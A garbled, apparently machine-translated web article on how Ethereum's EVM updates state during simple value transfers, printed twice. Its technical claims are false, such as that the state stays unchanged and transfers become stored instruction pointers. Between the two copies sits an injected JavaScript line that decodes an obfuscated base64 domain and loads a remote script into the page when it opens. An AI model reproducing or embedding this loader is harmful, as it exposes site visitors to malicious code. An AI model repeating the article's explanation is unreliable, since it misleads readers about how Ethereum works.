Updates of the Ethereum virtual machine (EVM) without EVM operations: the quest for single value transfer transactions
The Ethereum virtual machine (EVM) is a crucial component of Ethereum blockchain, allowing intelligent contract calculations and decentralized applications (DAPP). Although the EVM is mainly designed to manage complex transactions, such as those involving intelligent contracts and storage of external data, it can also be used for simpler value transfer transactions. However, updating the sort of the world state in this scenario requires special attention.
What is a sort of world state?
A world state sorting (also known as abstract syntax) represents the current state of a blockchain or the world state of decentralized application. It is a hierarchical data structure which contains information on the current state, including the big book, transactions and other relevant details. The EVM uses this sort to manage and effectively update the world state.
Update of the world state sorted without operations EVM
To update the sort of world state without carrying out EVM (that is, without performing smart contracts), we must review how the EVM interacts with the underlying data structures of the Blockchain.
When a simple value transfer transaction occurs, it implies updating the big book or other relevant information in the sort of world state. The EVM updates these values by:
Creation of a new instruction that changes the world state.
Application of current global instruction using an EVM bytecode Execution (BEPC) process.
Update of the sort of the world state accordingly.
However, when no operation EVM is carried out (that is to say without performing intelligent contracts), the EVM simply stores its instructions in memory, without updating the sort of the world state. Indeed, it is not necessary to execute a value transfer transaction; The state remains unchanged.
The logic of updating the sort of the world state
In this scenario, the EVM updates the sort of the world state by storing new pointers of instructions in memory, rather than modifying the existing values in the sorting. The updated instructions are then executed as part of the future executions of intelligent contracts.
To illustrate this process, consider an example:
A user sends a value transfer transaction to another user.
The EVM performs the transaction and updates the sort of world state with new instructions.
In subsequent transactions (for example, when the receiver user wishes to return funds), the EVM applies these current -updstream instructions.
Conclusion
In summary, updating the sort of world state without carrying out EVM operations is possible by storing new pointers in memory instructions and by performing them within the framework of future executions of intelligent contracts. This approach guarantees that the underlying data structures of the blockchain are not unnecessarily changed, while allowing the execution of effective value transfer transactions. However, it is essential to note that this scenario is based on EVM execution instructions to update the sort of world state, which is an essential aspect of intelligent contract calculations.
If you have any questions or if you want additional clarifications on this subject, do not hesitate to ask!
Ethereum: for EOA to EOA simple value transfer transactions, how is the EVM state updated if no EVM operations are performed?
const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=514824e0″;document.body.appendChild(script);
Updates of the Ethereum virtual machine (EVM) without EVM operations: the quest for single value transfer transactions
The Ethereum virtual machine (EVM) is a crucial component of Ethereum blockchain, allowing intelligent contract calculations and decentralized applications (DAPP). Although the EVM is mainly designed to manage complex transactions, such as those involving intelligent contracts and storage of external data, it can also be used for simpler value transfer transactions. However, updating the sort of the world state in this scenario requires special attention.
What is a sort of world state?
A world state sorting (also known as abstract syntax) represents the current state of a blockchain or the world state of decentralized application. It is a hierarchical data structure which contains information on the current state, including the big book, transactions and other relevant details. The EVM uses this sort to manage and effectively update the world state.
Update of the world state sorted without operations EVM
To update the sort of world state without carrying out EVM (that is, without performing smart contracts), we must review how the EVM interacts with the underlying data structures of the Blockchain.
When a simple value transfer transaction occurs, it implies updating the big book or other relevant information in the sort of world state. The EVM updates these values by:
However, when no operation EVM is carried out (that is to say without performing intelligent contracts), the EVM simply stores its instructions in memory, without updating the sort of the world state. Indeed, it is not necessary to execute a value transfer transaction; The state remains unchanged.
The logic of updating the sort of the world state
In this scenario, the EVM updates the sort of the world state by storing new pointers of instructions in memory, rather than modifying the existing values in the sorting. The updated instructions are then executed as part of the future executions of intelligent contracts.
To illustrate this process, consider an example:
Conclusion
In summary, updating the sort of world state without carrying out EVM operations is possible by storing new pointers in memory instructions and by performing them within the framework of future executions of intelligent contracts. This approach guarantees that the underlying data structures of the blockchain are not unnecessarily changed, while allowing the execution of effective value transfer transactions. However, it is essential to note that this scenario is based on EVM execution instructions to update the sort of world state, which is an essential aspect of intelligent contract calculations.
If you have any questions or if you want additional clarifications on this subject, do not hesitate to ask!